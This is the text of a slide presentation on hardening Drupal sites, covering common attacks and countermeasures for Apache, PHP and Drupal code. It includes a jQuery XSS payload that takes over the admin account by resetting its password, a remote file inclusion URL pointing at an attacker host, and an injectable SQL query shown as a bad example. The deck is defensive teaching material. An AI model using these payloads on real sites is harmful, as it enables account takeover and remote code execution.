Drupal Security Hardening

Agenda

● Anatomy of Vulnerabilities
● Protecting against Vulnerabilities

Kite Systems is an Agile development house
which means the client is actively involved
all the way through the development
process.
We build high quality, secure platforms
using Java J2EE, Microsoft .NET, Ruby on
Rails, PHP and Python.

About myself, Gerald Villorente

● Web Developer/themer at Kite Systems Inc.
● Drupal developer since 2010
● Drupal PH kids mentor

State of being “SECURE”
A site is secure if:
● private data is kept private,
● the site cannot be forced offline or into a
degraded mode by a remote visitor
● the site resources are used only for their
intended purposes
● the site content can be edited only by
appropriate users.”

Week spot of web applications
For Drupal developer who wants to deliver an
applications, security do not ends with proper use
of Drupal security API:
● OS (MS, Unix, BSD, OS X)
● Web Server (Apache, IIS, Nginx, ...)
● Web Platform (php, .NET, ...)
● Other Services (ftp, …)
● Web applications - attacks against authentication &
authorization, site structure, input validation, app logic
● database - sql injection
● availability - DoS attacks

Common Drupal attacks

● XSS
● CSRF
● Injection

XSS
jQuery.get(Drupal.settings.basePath + 'user/1/edit',
function (data, status) {
if (status == 'success') {
// Extract the token and other required data
var matches = data.match(/id="edit-user-profile-form-form-token" value="([a-z0-9])"/);
var token = matches[1];
// Post the minimum amount of fields. Other fields get their default values.
var payload = {
"form_id": 'user_profile_form',
"form_token": token,
"pass[pass1]": 'hacked',
"pass[pass2]": 'hacked'
};
jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload);
}
}
);
}

Other Attacks
● DDoS
● Remote code execution
- Exploiting register_globals in PHP

require ($page . ".php");
http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt

Counter Measures
● Proper use of Drupal API
● Coding Standard (coder, code_sniffer)
- Coder & Sniffer demo
● Keep up with security patches and minor
releases
● Permission by role (hook_perm, user_access)
● Firewall
● SSL (Secure Socket Layer)

Counter Measures (cont.)
● File permission

Apache Hardening
● Disable unneeded modules
● Implement ModSecurity, Request Filtering,
Anti-Evasion Techniques, HTTP Filtering
Rules, Full Audit Logging, HTTPS
Intercepting, Chroot Functionality, Mask
Web Server Identity
● Document root restriction – allow Apache to
only go to /path/to/public_html

Apache Hardening
● Chrooting Apache

$ mkdir -p /var/chroot/apache

$ adduser --home /var/chroot/apache --shell /bin/false
--no-create-home --system --group juandelacruz

PHP Hardening (part 1)
● turn off register_globals
● open_basedir - restrict php file access to only
certain directories
● disable_functions
● expose_php - remove php info from http headers
● display_errors
● safe_mode - php can use only files which it is an
owner
● allow_url_fopen

PHP Hardening (part 2)
● Suhoshin
- php engine protection with couple of
patches
- range of runtime protection, session
protection, filtering features and logging
- features

Drupal Hardening
● Keep updated
● Coding standard
● Install only trusted module, check issue
queue
● Use captcha, login_security, single_login,
password_policy, salt
● user permission
● input formats and filter

Drupal Hardening: Coding Standard
Never write and/or execute sql commands manually, use Drupal DB layer
use db_query() properly

don't write
db_query("SELECT * FROM {users} WHERE name = '$username'") ;

write this
db_query("SELECT * FROM {users} WHERE name = '%s'", $username);

placeholders are: %s, %d, %f, %b, %%

use db_rewrite_sql to respect node access restrictions
$result = db_query(db_rewrite_sql("SELECT n.nid, n.title FROM {node} n"));

Drupal Hardening: Form API
● never write forms that manually uses Drupal's Forms API
● Forms API protects you from invalid form data
● Forms API protects you against CSRF
● don't trust js for input validation - its easy to disable it. If
you want to use it always check user data on server side.
● when using AJAX use drupal_get_token and
drupal_check_token:
● Calculate hash of defined string, user session and site
specific secret code

Drupal Hardening: File Upload

● file_validate_is_image - check if file is really
an image
● check_file - check if file is uploaded via
HTTP POST
● file_check_location - Check if a file is really
located inside $directory
● set disk quotes properly - you don't want to
fill server hard disk

Drupal Hardening: Respect and define
new permissions
● consider to use hook_perm in your module
● wrap your code with user_access
if (user_access('some permission')) { .... }

● filter_access($format) – check if user has
access to requested filter format
● use menu access arguments

Drupal Hardening: Dont trust user input

Filter user input, sanitize the output
● Input Format
● filter_xss() - Filters HTML to prevent XSS
● check_plain() - Encodes special characters
in a plain-text string for display as HTML
● check_url() - filter dangerous protocol
● check_markup - Run all the enabled filters
on a piece of text

Drupal Hardening: Dont trust user input

Again, think like a hacker...
● Use penetration testing tool
- Metasploit framework
- Nessus
- Nikto
- Backbox and Backtrack
● Fix, audit, fix ...

Resources
● http://drupal.org/security
● http://drupal.org/writing-secure-code
● http://crackingdrupal.com
● http://www.owasp.org
● http://ha.ckers.org
● http://www.exploit-db.com

Drupal Security Hardening

Related slideshows

More Related Content

Drupal Security Hardening